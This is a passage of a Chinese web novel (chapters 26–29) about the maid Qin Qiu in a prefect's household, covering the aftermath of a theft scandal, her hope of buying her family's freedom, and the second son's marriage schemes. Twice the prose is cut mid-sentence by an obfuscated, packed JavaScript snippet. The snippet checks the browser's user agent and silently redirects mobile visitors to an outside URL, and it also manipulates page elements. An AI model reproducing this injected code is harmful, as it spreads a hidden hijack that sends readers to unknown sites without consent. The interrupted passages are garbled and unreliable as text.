碧霄瞪大了眼睛，满脸都写着痴心错付、难以置信。她还欲再言，两个婆子已经眼疾手快地拽过一截布条，将她的嘴堵了个严实，碧霄还要挣扎，又上来两个人，四人半拖半拽，终于将人拖走了。 刘从俭扫了一眼秦秋二人的方向，眼神晦涩不明。 青梧险些站立不住，她紧紧地攥着秦秋的手，此刻终于明白当日秦秋为何要…… 青梧咬着下唇，遥遥看向郭云喧，郭云喧叹了一口气，笑着对她点点头，青梧一颗心才重新放回肚子里。 “好了，都散了吧。我乏了，木槿，咱们回和熙堂。”刘母说着话，木槿和木樨忙一左一右搀着她起身。 终于被木樨松开的郭云静，此时颇显狼狈。此事虽了，刘母也没有再叱责她，可是她仍觉得自己的脸面像被刮了两个大嘴巴，热辣辣地疼。碧霄最后那句话和木槿先前那句‘若青梧想去二房’，勾起了她一段陈年心事。 不行，今日断不能这般没脸！郭云静深吸一口气，忽然出声拦住众人：“母亲，青梧如何处置？” 刘母此时都快走到门边了，听了郭云静的话，她似是不敢相信自己的耳朵，被她蠢笑了，道：“你要处置青梧？” “大郎，你院里的事，你怎么说？”不等郭氏答话，刘母又扭头去问刘从俭。 刘从俭淡淡地扫了那边互相搀扶的二人一眼，道：“青梧虽说不够机敏，但是办差属实用心，此番受了委屈，我之后自会赏她。秦秋尚算机警，没有丢凝晖轩的脸面，既然空了一个一等的缺，就升她做一等吧。” “谢大人。”秦秋和青梧二人忙福身拜谢。 刘母对秦秋的擢升有些意外，她诧异地看了儿子一眼，但也没有再说什么，只是微微颔首，对着身侧之人说道：“木槿，青梧此番受了无妄之灾，回头寻些东西赏她。你二人日后好好当差，还有你们，都警醒些，莫要再让凝晖轩闹出这等事了。” “是！”凝晖轩一众人等齐声答应，见刘母要走，各人纷纷避散，继续收拾未被归置的陈设器皿。 木槿和木樨搀着刘母往外走，裴明霜紧随其后，郭家母女亦互相抓着手准备离去，郭云静却是急急地凑上前去，道：“母亲，碧霄说的也不无道理，黄三这事闹得人尽皆知，姑娘家的衣物落了外人的手，传出去到底不好听。” 本来跟着刘从俭要一块离开的尉迟延，听了这话忍不住回身说道：“二夫人，你这话说得好没道理！刚才明明都一清二楚了，那个叫碧霄的偷了衣裳给那个小厮，现在他二人都领了责罚，跟苦主有何关系？我可从没听说过失了盗，要罚苦主看管不严的道理。二夫人这么做，该不会是在给二房找补吧？” “六郎，你多话了。”刘从俭瞪他一眼。 郭云静被说中心事，脸上讪讪的。 郭云喧忽然又笑了，只是这回她看向刘从俭，道：“黄三儿手里的衣裳到底是谁的，这事我倒是清楚，那衣裳还真不是青梧的。这到底是内宅私密之事，刺史大人和两位郎君可否先行回避？” 刘从俭本来也不在意，听了这话，便向刘母行礼告退。尉迟延虽然满心都想知道，但迫于刘从俭的压力，心不甘情不愿地被刘刺史拽走了。萧举年跟在二人身后，路过秦秋身边时，到底没忍住，飞快地朝她递了一个赞许的眼神。 秦秋微微垂着眼帘，但是翘起的嘴角泄露出了她心底的小小得意。 背着人，萧举年无声地笑了。 等眠鹤院内只剩女眷时，郭云喧才缓声说道：“老夫人，不知各位可曾留意，那丫鬟方才说‘衣料贵重，折赔不起’，她说的是实话，那件小袄和袜子的衣料，是上好的蜀锦，朗州城内是买不到的，是我从益州带来的。” “什么！”郭云静大惊失色。 “我想缝制新衣以作新年之贺，可我不善针黹，恐糟蹋了衣料，我见青梧女红了得，就托她帮忙再做两件衣裳。故而，那衣裳真不是她的，也没被任何人穿过，至于那衣裳我原本是要送给谁的，那蓝绸包袱还在地上呢，老夫人，三夫人，阿姐，可要我说出来？” 郭云静臊得满脸通红，一叠声地说着“不用了！别说了！”，又转头吩咐春雪：“还不快将拿包袱拿去烧了！” 刘母和裴明霜倒是没想到这一出，二人似笑非笑地看着郭云静。 郭云静只好撂下一句“母亲恕罪，凝曦院还有事，我就不送母亲回和熙堂了！”，领着人逃也似的离了此地。 郭母神色复杂地看向郭云喧，这个傻女儿，她们两个是“刘二夫人”的亲戚，她怎么就把正主得罪了。 刘母眉眼之间难掩疲乏，她叹了一口气，笑着拍拍郭云喧的手，道：“好孩子，府里太冷清了，多亏你和你母亲来了。我老婆子还没谢谢你们来陪我过年呢！”说完，又对着郭母送出一笑，这才扶着裴明霜的手离了眠鹤院。 等她们一行走远了，郭母才伸手戳着郭云喧的额头，叹道：“你呀，你姐姐是个小心眼，你何必得罪她，横竖——”横竖不关你的事！ 郭云喧眼神一暗，苦笑道：“母亲忘了，当日益州那家人是怎么来害我的吗？如今，同样的肮脏伎俩要施加在其他女子身上，女儿又岂能袖手旁观？当日，我希望他人助我，今日，我又怎能不助他人？” “你——”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14680583|156001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “多谢郭姑娘救命之恩！姑娘大恩大德，青梧没世不忘！”青梧不知何时跑到二人身前，“咚”地一下跪在地上，磕头不已。 这一跪反倒让郭母不好意思，她忙一叠声地叫青梧起来。 郭云喧伸手将对方扶起，目光却越过青梧，投向不远处的秦秋，笑道：“行了，日后多帮我做两件衣裳便是。我不过是举手之劳，你多亏了有位大军师。”说完，她扶着郭母，笑着走出了眠鹤院。 到晚膳时分，碧霄的一应衣物用具都被清出了凝晖轩，后罩房内，鹊儿和青梧在帮着秦秋搬家。 鹊儿抬着铺盖的一头，满脸艳羡，道：“这屋好像更暖和一些，秦秋姐姐，我晚上可不可以来跟你睡？” 秦秋失笑，道：“明明这间房帮隔壁挡了风，哪来的更暖和一些？你若是想来就来吧。” 鹊儿一阵欢呼。 青梧帮秦秋归置好箱笼，倒了三碗热茶，招呼二人歇息。三人围着火盆坐了，就见秦秋面露惆怅之色，骤然长叹一声。 “怎么？升了一等还叹气？”木槿的声音在门口响起。 三人一愣，青梧忙放下茶碗，将木槿迎进屋内坐了。 木槿笑吟吟地看着她，道：“此番对我倒是热情。可是事先知道我是送老夫人的赏赐来的？喏，给你，收着吧。”木槿将手上的两匹尺头跟两个荷包递过去。 青梧忙接了，转身放在炕上，重新拿了一个干净的茶碗，当着木槿的面用热水涮了，才倒了大半碗热茶奉给木槿。 “你啊，经此一事，倒是懂事了。”木槿叹道。 木槿说完，几人不免又是一阵唏嘘。 “对了，好端端地你作什么叹气？”木槿看向秦秋。 秦秋见三人都齐刷刷地看着自己，只好摇头说道：“说不上来为什么，只是觉着累，觉着感慨。上面的人为难下面的人，下面的人却还是为难下面的，上面的人动动手指头就能杀了下面的人，下面的人动动心思，还是想杀下面的人。” 三人齐齐沉默了。 秦秋嗤笑一声，又道：“我想起碧霄临去前的样子，那眼神恨不得生吞活剥了我和青梧两个。她至死都不恨大人，不恨老夫人，不恨二夫人，只恨我和青梧。多可笑！奴颜婢膝久了，至死都相当奴婢头子，至死恨的都是让她当不成奴婢头子的其他奴婢！” 木槿看着她，终是一叹：“你别想多了，此事总算是揭过了。老夫人也是念着你们受了委屈的，日后好好当差就是。” 那是因为我们把二夫人也拖下水了。这句话在秦秋喉间滚过，终究又咽了回去，她对木槿的好意回以一笑。 青梧又忙向木槿道谢：“此番多谢了木槿姐姐，若无木槿姐姐在老夫人面前替我们说话，又说动了春雪，我可就要冤死了！以后姐姐指东，我绝不往西。” 木槿噗嗤一声笑了，道：“罢，罢，罢！日后你不跟我拌嘴怄气，我就承你的情了。” 四人又说笑了一回才各自散去不提。 27. 第二十七章 刘母在刺史府里头摆大宴，刘从裕则在外头开小席。 里头的宴席一散，刘从裕也醉醺醺地回了刺史府。才进凝曦院院门，他就听到正房传出一阵摔杯碎盏的声音。刘从裕脚下打着晃儿，舌头也打着结儿，一面走一面嚷：“好好的又是怎么了？母亲请客吃酒，你却在这儿摔东西，传出去像什么话！”说话间，人已经来到正房门口。 守在门口的丫鬟忙七手八脚地打起毡帘、将刘从裕搀扶进去，又有人捧上热水和毛巾，小厨房听了动静忙把解酒茶也煨上了。 刘从裕进了东暖阁，往正首的榻上一躺，接过丫鬟递过来的湿帕子，胡乱擦了一把脸，才饧着眼去看郭云静，懒洋洋地问道：“哟，二夫人这气色，非同小可！谁又给咱们二夫人气受了？” 郭云静心头气未平，瞪他一眼，又别过脸去。 春雪端着解酒茶进来，见这阵仗，将碗轻轻地往暖榻中间的小茶几上一放，忙领着众人退了出去，只留他夫妇二人在内。 刘从裕见众人这般小心翼翼，他忽嗤笑一声，伸手端过那碗，仰头一气闷了，再随手一掷，起身走到郭云静身边，将人揽在怀内，情状狎昵，道：“怎的？今日府里设宴还能有人给你气受？” 郭云静在他怀里又气鼓鼓地扭了几下，才冷笑着说：“谁能想到，我的好妹妹，竟联合大房的人一起做局下我的脸！还有那个木槿，呵，亏我素日总对她客客气气笑脸相迎，一有事就只知道帮大房说话！我这脸面，今日就差被人丢在地上踩了！” 一提郭云喧，恰好触动刘从裕的心弦，他想起今日席间吴四郎说的话，心头一热，忙扶起郭氏的身子，笑得一脸暧昧，道：“二妹妹年纪小，你做姐姐的，何必跟她置气！” 这话一落，郭云静气得非同小可，一双浓眉几乎要斜着飞进鬓发里，两眼冒火，张嘴就要骂出声来，却被刘从裕伸出一指抵在唇边，笑着“嘘”了一声，继续赔着笑脸说道：“二妹妹这般品貌，性子冲些也是应当的。如今岳丈去了，你这做姐姐的和我这当姐夫的，该为岳母分忧才是。” 郭云静听这话大有来历，她也不去细想丈夫素日的为人品性和交际圈子，只狐疑地扫他一眼，道：“怎么？谁向你求亲了？” 刘从裕笑嘻嘻地将脸往郭云静眼前凑，道：“你觉得吴四郎如何？” 郭云静伸手一推，撇着嘴，冷笑一声，道：“我当是谁呢？这个破落户啊！不过，要说家世，我爹生前是五品京官，如今我爹不在了，我妹妹配他这个五品武散官的儿子，也算配得过，不算辱没了她。只是呢，你也知道，我和她是隔母的，她心高气傲又性子古怪，我可做不了这个主！” 刘从裕一把抓了郭云静的手，塞在衣襟内渥着，将两根手指一竖，道：“若是吴四郎的聘财给这个数呢？” “两千两？呵——”郭云静冷哼一声，见丈夫只是笑，两根手指又晃了晃，惊叫一声，“两万？！” “嘘嘘嘘，别声张！”刘从裕赶紧伸手捂住她的嘴。 郭云静打掉他的手，道：“哄鬼呢？吴家要是有这个钱，先前还犯得着从你身上弄银子？你的钱还是我给你填的窟窿！这种话，吴四郎拿出去哄那些没见过世面的也就算了，你也信？”说完，发出极其轻蔑的一笑。 刘从裕忙凑去她耳边，小声嘀咕了几句。 “当真？”郭云静半信半疑地看着他。 刘从裕懒懒一笑，道：“真不真的，等摆年酒那日，看看他的诚意不就知道了！” 郭云静垂下眼帘，心下自思，若是这般，到时她只要略施手段，以置办嫁妆的名义将她那继母好生哄上一哄，随便一过手，瞒下几千两简直是轻而易举。且若是吴家和吴四郎真像丈夫说的那样，把妹妹嫁过去笼住吴四郎，日后何愁不发达。这般一计议，郭云静虽然嘴上不说，但心里对这桩婚事已有七八分满意了。 刘从裕看她神色松动，忙趁势说道：“你方才说木槿总向着大房说话，莫非，木槿是想去大房不成？等过了年，母亲定是要为大哥再定下一门亲事的，可大哥院里已经有了两个绝色，木槿就算有这想头，论资排辈也轮不着她呀！没有主母还没进门，就先抬三个丫鬟的道理。” 一句话勾起眠鹤院的事，郭云静冷哼一声，道：“那可不一定，碧霄如今不中用了，明日起内宅便再无这个人。青梧嘛，呵，别当我不知道你在想什么？两年前你就惦记过青梧吧？呵，还打量我不知道呢！” 刘从裕脸上闪过一瞬尴尬，随即又嬉笑如常，道：“啧啧，陈年老醋，就你好这一口。你说碧霄不中用了？怎么了这是？她可是母亲给大哥的人，这是犯了什么错？” 这一问又问到了郭云静气头上，她只把眼一斜，睨着刘从裕，道：“你不必惦记，老太太亲自发话将她逐出去的，你别以为大哥不要，你就可以捡进二房了。收起你那点小心思！去了一个碧霄，老太太心里对青梧也有些疙瘩，说不得木槿想去大房还真能成呢！怪道呢，我说这妮子怎么巴巴地上赶着替大房说话，原来是存了这个心思，我还当她多清高呢！” 刘从裕忙说道：“木槿的事，你可别犯糊涂！木槿可千万不能被大哥收笼，若要收她，宁肯咱们收了！” “什么！”这话无疑火上浇油，一下点燃了郭云静的妒火，她伸手将刘从裕一推，自己腾的一下站起，指着刘从裕骂道，“我替你费尽心思填补亏空，今日被木槿那小妇打了脸，你不想着替我出头便罢，还想着纳她？我告诉你，你死了这条心吧！只要我还喘气，她就别想进凝曦院！” 郭云静气急败坏，脸都气红了，刘从裕却只是不咸不淡地笑了笑，道：“瞧你，我说要收了她，你当我只是为了我？这还不是为了替你出气！” “替我出气？哈！合着你西厢东厢一院子的莺莺燕燕都是为我纳的？”郭云静难得清醒片刻，对这话嗤之以鼻。 刘从裕却是不跟她纠缠，只道：“如今一个木槿都能给你气受，靠的是什么？靠的不就是母亲？只因一个孝 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郭云静垂眸不语，刘从裕晓得，自己这个娘子耳根子软、心里没主见，见她这样，便晓得此事已成了一半，后面便是徐徐图之了。他喉间轻笑，今日的话已说完，不再继续，忙放声吩咐外面候着的丫鬟烫酒备菜，至夜间又殷勤温存地奉承了郭氏一番，再无别话。 在小年之前，秦秋寻空回了一趟家。 她爹娘没料到她这么快升了一等，于是，二十三这日，她爹叫了几个老相识，在家里痛痛快快地喝了一场。秦秋和李氏忙完厨房的事，就手挽着手去了擀面街置办年货。 路过一家布庄，李氏不由分说地就把秦秋拽了进去。 李氏兴兴头头地拿着布料在秦秋身前比划，秦秋最近却是一心攒银子，笑着劝道：“娘，府里给裁的新衣这几日就要发下来了，何必费这银子？” 李氏白她一眼，哼道：“老娘我乐意，买布的银钱又不要你掏！你如今也是一等的分例了，你见过哪个大丫鬟整日里只穿分例上的衣服的？家里又不是缺你这两套衣裳，往后少不了去各房传话走动，你少给我灰头土脸的！别啰嗦，喜欢哪一个？” 秦秋只得笑了笑，配合她娘选了两匹衣料。 等走出布庄，李氏见秦秋还是一副提不起精神的样子，不由纳闷，道：“你这是怎的了？今日你回来我就觉着你心里有事，整个人看着恹恹的。怎么，往日做二等丫鬟的时候没人给你气受，升了一等反倒不顺心了？” 秦秋摇摇头，李氏更不解，急了，道：“那到底是怎么了？” 秦秋忽然脚下一顿，在人来人往的集市上停了下来，她怀里搂着两匹布，左手边都是小食摊贩，有卖煎饼的老翁，有卖豆花的老妪，还有卖馄饨的妇人，他们推着车挑着担，寒来暑往晨来暮去，不知为何，在这一刻，秦秋心里对他们十分地羡慕。 “你这孩子，到底是怎么了？可别吓我！撞邪了不成？”李氏的声音透着焦躁。 秦秋扭过头去看李氏，眼里闪动着某种亮光，她听见自己清晰又缓慢地问出一句：“娘，咱们能赎身出府吗？” 28. 第二十八章 李氏怔住，下意识伸手去摸秦秋的额头，嘴里咕嚷着：“你中邪了？”秦秋哭笑不得，两手搂着布又拂不开李氏的手，只能任由亲娘揉搓，探完额头捏耳朵。 “娘，我没中邪。你不是问我心里藏着什么事吗？就是这事。咱们一家人赎身，要多少银两？”秦秋一面歪着头躲闪，一面低声问道。 李氏放下手，见秦秋神色不似玩笑，才道：“好好地你怎么生出这个念头？是不是因为前几日凝晖轩的事？碧霄那是自作孽，你别被她的事吓到了。你如今已是一等，只要不犯大错，等再过个五年八年你就是管事姑姑了。” 听了这话，秦秋并未露出以往那样的憧憬，反倒是神色一暗，紧了紧怀里的东西，慢吞吞地与李氏往前走，边走边说：“也不全是因为她，只是忽然深感为奴为婢之人就像被养在深宅里的猫儿狗儿，讨主子欢心的时候跟着一块饫甘餍肥，自己也被迷惑，觉着自己与他们并无二致，等遭了厌弃的时候，才知晓猫狗就是猫狗，生死全在他人一念之间。” “从前和熙堂有一只老夫人很喜欢的白猫，郭二姑娘喜欢，老夫人便眼都不眨地将它送了出去，横竖转头自有二夫人再寻好的孝敬老夫人。我不是可怜碧霄，碧霄是活该。我是担心我自己，我害怕他们今日夸我机敏，升我的分例，明日也许会觉得我心机深沉、精于算计，轻飘飘地寻个由头就也能发落我。” “你——”李氏被秦秋的话吓到了，酝酿半天，终究化为一叹，“三个孩子，果然是你最像我，嫁给你爹之前，我也曾有过这般痴想。” 这话倒是出乎秦秋意料之外，她一愣，呆呆地看向李氏。 李氏一笑，道：“只是慢慢地熬到了现在，自己当了管事，孩子也大了，在府里一直谨慎当差，平平安安地过了这么些年，我又觉得这样似乎也不错。能在刺史府当差算是好的，多少人盼还盼不来呢。老夫人年轻时，也算宽和，及至到了大夫人，更是仁厚，只有今年二夫人管家才生了不少风波。可饶是这样，咱们的日子也算是好的了，你看他们，你以为他们就没有烦恼了？”李氏说着话，下巴往街道两旁的商铺和小贩轻点。 “种田的要交皇粮、要服徭役，经商的要交税银、要打点官府和地痞，贩夫走卒、引车卖浆者流，风里来雨里去、朝不保夕，你当他们就比咱们容易了？” 秦秋却是一本正经地点头，道：“我晓得他们艰难，这世上除了赖天恩祖德者有生来的富贵可享，旁人谋生都是不易的。可是他们起码是自由身，不像咱们，头上还顶着一层主子，好赖都捏在他人手里。娘也说了，碰上老夫人和大夫人这样的，是咱们的运气。可运气这东西，有好就有坏，这不，今年就碰上二夫人了。万一以后一直都是二夫人这样的呢？” 李氏闻言，摇头一叹：“你啊你，咱们家是死契，一家子人！光有银子是不成的，除非老夫人和大人放话，否则再多的银子都没辙。” 秦秋眼睛一亮，还没开口，李氏已抢先说道：“府里也不是没有先例，听闻夔国公先祖开过例，就那一回，他临终前将家业分了，只留奴婢十五人，余者皆放籍从良。在那之后，府上偶尔有立了大功的，主子也会放契赠银，让他们出府自立门户，比如萧嬷嬷一家。” “娘，萧家立了什么功啊？”秦秋眼睛更亮了，心道，立功嘛，她也可以啊！她不是已经立了两回了嘛，下回如果来个大活儿，她就不向刺史求赏银了，求身契！ “哟，前面可是秦家嫂子？”一道女声打断了母女二人的对话。 李氏和秦秋忙回头去看，不是旁人，却是萧举年和一个妇人，那妇人与李氏一般年纪，只身上的衣物更为精致华丽、面容也更为丰腴，秦秋不认识她，但看面相与衣着也猜着了几分，果然，她娘一脸吃惊地认了片刻，才叹道—— “萧家嫂子？这才几年不见，若不是嫂子唤我，我在街上都不敢认了！萧嫂子看上去越发有福了！” 二人叙阔一番，就变成了李氏与萧母携手走进了干货铺子，秦秋和萧举年像两个小跟班似的跟在二人身后。 秦秋闷头走着路，眼珠子偶尔一转，瞥向身侧之人，心里在纠结，要不要问问萧举年，他爹和他祖父到底是立了怎样的功呢？ 萧举年轻笑一声，低声说道：“还没当面与你说，赏梅宴那日，你可真是让我大开眼界！” 秦秋打着哈哈，道：“萧录事又说笑了，谁承想那贼人那么不经诈。我等侥幸而已。” “哦？是吗？”萧举年笑得意味深长。 李氏和萧母在干货铺子里挑挑选选，他二人在门口候着，秦秋心里装着立功赎身的事，见此时是个空儿，环顾左右见四下并无刺史府的人，忙轻声问道：“对了，萧录事，上回那账册，对衙门的差事可有助益？” “于大人托我审查之事大有裨益。”萧举年笑着颔首，抬眼看到不远处的胭脂铺子，他心念一动，道，“说来这差事我还真得谢谢你！否则出了正月，我就算人去了武陵郡也不知从何处下手。还有上回那账册也多亏了你帮忙。算来，你帮了我两次，我还未曾谢你，今日既碰上了，不如去那铺子看看，你自己挑选些喜欢之物可好？” 萧举年只管顾着自己说话，却不知秦秋只听进去了“大有裨益”四个字，她满心都在思量如何再做几件“大有裨益”的事，等萧举年一口气把话说完，微微红了脸去看眼前之人的反应时，才发现对方心不在焉，对自己的大胆提议全然没听进去半句。 萧举年伸手抚了抚眉心，看看干货铺里在忙活的两个人，又看看眼前走神的这个人，心里又好笑又发急，不由地伸手轻推了秦秋一下，无奈一叹：“秦秋？” 秦秋回过神来，忙道：“哦哦，大有裨益就好。下回若有看不明白的账册，萧录事尽管到外书房寻我。” 萧举年哑然失笑，忽然又想起一事，问道：“先前我就好奇，今日刚好请教一二，你为何会如此精通看账？又是如何做到将那些账目熟记于心的？你可千万别谦虚，我见过的账房也不少，无人能像姑娘这般厉害！莫非是天赋异禀？” 秦秋自嘲一笑，道：“哪来什么天赋异禀，不过是靠苦功夫罢了。幼时他们常笑话我不知变通，耶娘使唤我跑腿打酱油，我从来不晓得瞒下几个铜板去买糖，他们笑我傻，那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14730620|156001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时我家隔壁住了一个老账房，他跟我说不知变通好，正好当个账房。我便跟着他学做账、记数，那些账目被我记在脑子里，不会笑话我一板一眼。今日之功力，所由来者渐，非一朝一夕之故也。” 萧举年心头暖流激荡，脸上笑意愈深，声音愈发柔和，道：“不如，我们去前面那间铺子挑些东西，一来答谢你先前助我，二来你与我说说——” “大郎，快过来拎东西！”萧母一声呼唤，二人齐齐转头。 萧举年垂眸一叹，唇边闪过无奈的笑意，迈步朝里走去。 秦秋依旧搂着那两匹布，也踩着小碎步凑到李氏身边，道：“娘，买了什么好东西？” “这火骽和鳝脯极好，回头给你们做炖钵钵。”李氏举着手里的物什，秦秋不自觉地咽了口唾沫。 萧举年人在萧母身边，眼睛却不住地往旁边瞅，萧母暗笑，看向李氏，道：“秦嫂子，你还要去哪家铺子？” 李氏心里惊讶于萧母今日的热情，面上却是丝毫不显，也大方地笑着说道：“再去陈家点心铺买些炸面果子和蜜饯，萧嫂子可要同去？” 萧举年不住地拿眼去看自己阿娘，心里已经连说了几个“好”，萧母却是笑道：“还真是巧了，大郎他祖母今日要进府里请安，想着给老夫人带些外面的吃食，炸面果子和蜜饯我们前几日就买好了，也是陈家的，他家的炸面果子确实做得好。” 李氏笑了笑，二人又说笑一回，客套地交换了自家请年酒的日子才散了。 秦秋大包小包怀里搂着、手里提着，开开心心、毫无留恋地跟着李氏走了。萧举年却是没忍住，频频回头张望。 “行了，别一步三回头的！人家姑娘都没回头看你，你这样，掉价儿！”萧母终于忍不住，出声戏谑。 萧举年手里拎着东西，想摸摸鼻子以掩饰尴尬又腾不出手来，面上泛起一抹红晕，只得轻咳两声，道：“娘，你瞎说什么呢。我是觉着那个小摊上的桃符挺好的。” 萧母也不戳破，点头赞道：“秦秋这丫头转眼都这么大了，听说升了凝晖轩的一等丫鬟，我看这丫头挺机灵的，与二郎年岁也相当——” “娘！” 萧母一语未了，萧举年着急地出言打断，他无奈地看向自己阿娘，对方却噗嗤一笑。笑了半晌，萧母才正色道：“大郎，别怪娘没提醒你。你如今已是九品录事，你祖母和你父亲对你的亲事颇为上心，我横竖是不插手的，你若自己心里有主意，我劝你早做打算。” 萧举年一愣，忙问道：“祖母和父亲有何打算？” 萧母撇他一眼，道：“你父亲属意钱家金银铺的丫头，你祖母属意和熙堂的人，怎么，你不知道？” 萧举年苦笑，道：“我整日在衙门做事，他们又不跟我说，我如何得知啊！不是，娘，你就不帮我说话？” “我帮什么帮呀，是你娶媳妇儿，又不是我，我给谁当婆婆不是当呀，我又无所谓。”萧母手一甩，扭头继续向前走了，“快跟上，去马家铺子打两壶酒咱们就回去了。” 徒留萧举年一人在人头簇簇的长街之上思索起终身大事。 29. 第二十九章 和熙堂内，刘母和萧嬷嬷在东暖阁内闲话，刘从绥和刘从绵二人则跟着木槿在隔间剪窗花。刘母随意歪在睡榻上，一手撑着脑袋，说话的间隙不时看向隔间笑闹着做活的几人，叹道：“还是年轻好哇，只需这般看着她们，便可稍加忘却你我残年衰朽之身，看着她们，便觉日子鲜活有趣。” 萧嬷嬷笑着附和，目光却是投向那个削肩细腰、穿着如意云纹织金袄的身影之上，心下自思，等过了年，木槿就到了婚配之龄，听闻郭氏前一阵同老夫人议论丫鬟发嫁之事，空讨了个没趣。 眼下年节关口，本是自家提亲的好时机，有了郭氏在前，自己却不好在此时提起。若是老夫人应了，二夫人更加没脸，那是个心胸狭窄、睚眦必报之人，难保不会因此怀恨在心、徒生事端，若是老夫人不应…… 此事得再缓缓！萧嬷嬷暗暗叹道。 “你觉着我家这两个丫头如何？”刘母笑着问道。 萧嬷嬷一惊，心道莫非老夫人已看出端倪？她忙去看刘母的神色，却见对方所指的方向乃是刘八和刘九，萧嬷嬷心下稍宽，笑道：“八姑娘和九姑娘自是极好的，八姑娘温柔可亲，九姑娘天真伶俐，怪道老夫人喜欢！” 刘母呵呵笑道：“我生平一大憾事便是没个女儿，不能体会旁人择婿之感。近日尉迟六郎住在府上，那可真是个翩翩美少年啊，可惜我无女儿与他作配。欸，阿玉，你瞧着她们两个——” 刘母起了兴致，撑起身子坐直了，才起了一句头，就被门外的丫鬟通禀声打断—— “老夫人，二爷来了！” 在隔间的几人率先收了笑意，忙起身行礼。 刘从裕脸带春色、眉间堆笑，大步跨入东屋，他右手上托着一个朱漆描金花形捧盒，一面踏步往里，一面高声嚷着：“娘，猜猜儿子给你寻了什么好东西？——欸，八妹妹和九妹妹也在呢？——萧嬷嬷安好。” 刘从裕一路走一路招呼，径直来到刘母身前，丫鬟们端过杌子他也不坐，只单膝着地，跪在刘母身前，献宝似的举着手里的物什。 萧嬷嬷见此，忙起身告辞，她已来了大半日，刘母也不留她，只一叠声地吩咐木槿送客。 刘从绥和刘从绵也极有眼色地行礼告退，回了西梢间。 一时丫鬟奉上茶来，东暖阁内便只余母子二人。 刘母心下暗叹，要说三个儿子里最不成器的，那自然非老二莫属，可要说三个儿子谁嘴巴最甜、时至今日仍会费些心思来讨她欢心，也只有老二一人。对着这张颇肖其父的脸，她总是不能狠下心肠重责于他。 刘从裕见旁人都退了出去，又见刘母脸色几经变换，忙将手里的捧盒搁在矮圆杌子上，两手搭在刘母膝头，像孩提时那般将头枕了上去，嘴里念着：“娘可还是在生我的气？我晓得我没有兄长老成能干，也没有三弟读书上进，只会花银子，不会赚银子，连我的娘子都没有大嫂和弟妹贤惠，娘生我的气也是应当的，只别气坏了身子。” 刘母长叹一声，才将人推开，道：“老实坐着吧，自己也是有儿有女的人了，还学幼时的无赖样，也不害臊！你既晓得我生你的气，为何不改呢？” 刘从裕一听，就知他娘心头又松动了，忙卖乖说道：“娘，我改了！真的！我这一年都在托吴家四郎给我谋差事。他有个姐姐嫁入了京城窦家，吴四郎昨日已跟我说准了，等出了正月就给我喜讯呢！” 岂料，刘母闻言并未露出欢喜之色，反倒是把眉头一皱，不赞同地看向儿子，斥道：“咱们家是什么身份，何至于此！你若想谋差事，好好地与你兄长说说，你兄长难道还会不管你？何至于走什么下三滥外四路的野路子？” “窦家？他们也能攀上窦家？”刘母嘲讽之色溢于言表。 刘从裕尴尬一笑，只继续说道：“娘，真是窦家，只不过是旁支。朗州城就这么大，我可不想出了家门还被兄长管束着。我托吴四郎谋的可是京中的肥缺闲差！” “你——”刘母想骂上两句，可刘从裕立时堆上笑脸，又想起被他搁置一旁的物什，巴巴地捧在身前，道：“娘，猜猜看，我给你寻了什么？” 饶是刘母想再教训他两句，一念及老大和老三从未如此花心思讨好她，终究是化为无可奈何的一笑，道：“哼，什么稀罕物我没见过？” 刘从裕见她脸色放缓，忙掀开那漆盒，往刘母身前一递。刘母低头去看，却是各色精致小食堆叠在内。 刘从裕极为殷勤地说道：“吴家的人去长安送礼，快马加鞭日夜不歇，今日巳时才回的朗州。这是我特意托吴四郎夹带的私货！听闻阿娘在长安时喜欢庾家的粽子、韩家的连蒸獐獐皮和曲家的驼峰炙，儿子一出生就在朗州，倒是从没见过这些，阿娘瞧瞧，他们买回来的可对？” “自嫁来朗州，我都多少年没吃这口了，是这个样儿，是这样……”刘母脸上欣喜之色乍现，声音亦难掩激动，满眼慈爱地拍了拍儿子的头，又一叠声地对外喊道，“木槿，木槿，快过来，将这些拿去小厨房热了。” 木樨闻声而入，一面上前取过漆盒，一面笑道：“老夫人，木槿姐姐去送萧嬷嬷了，还没回来呢。” “哦，那你去吧，拿去小厨房，让她们仔细些。”等木樨退下，刘母才又看向刘从裕，无奈地一笑，佯怒道，“你呀，要是把这些精巧心思花在读书上面，功名还不是手到擒来？犯得着跟吴四郎厮混在一起、结交旁门左道？你看看萧家大郎，难道你的资质还不如他？” 刘从裕心念一动，忙假意叹道：“娘，我何尝不知我是个心志不坚的人，但凡身边能有个人时时刻刻提点着我，我也不至于荒废学业、耽误至今！” 刘母眉头轻蹙，叹道：“郭氏才疏识浅，眼空心大，又只知一味地讨好奉承于你，唉！这些年我对你也是睁一只眼闭一只眼，你呀你，叫我说你什么好，纳了一个又一个，满府里就属你们院里人多，饶是如此，也不见你把心收住，还是日日流连在外，不成器的东西！” “娘，我知错了，我改！我过完年就改！”刘从裕忙跪在地上赌咒发誓，又趁势说道，“只是我觉着，我还缺一个知情识趣、识文断字又能立身公正、敢驳我话的人，娘，我想——” “呸！混账东西！”一语未了，刘从裕就被刘母一口啐在脸上，骂道，“你还不知足！大过年的，你又惦记上谁了？我告诉你，你少给我打歪主意，你那一院子的莺莺燕燕都快组一个戏班子了！” “娘，我改了，真的改了！我这回真想纳个正经人，不仅是为我，也为郭氏。我看上的这人，必能提点我读书上进，又能辅助郭氏管家理事，还能陪您说话解闷呢！” 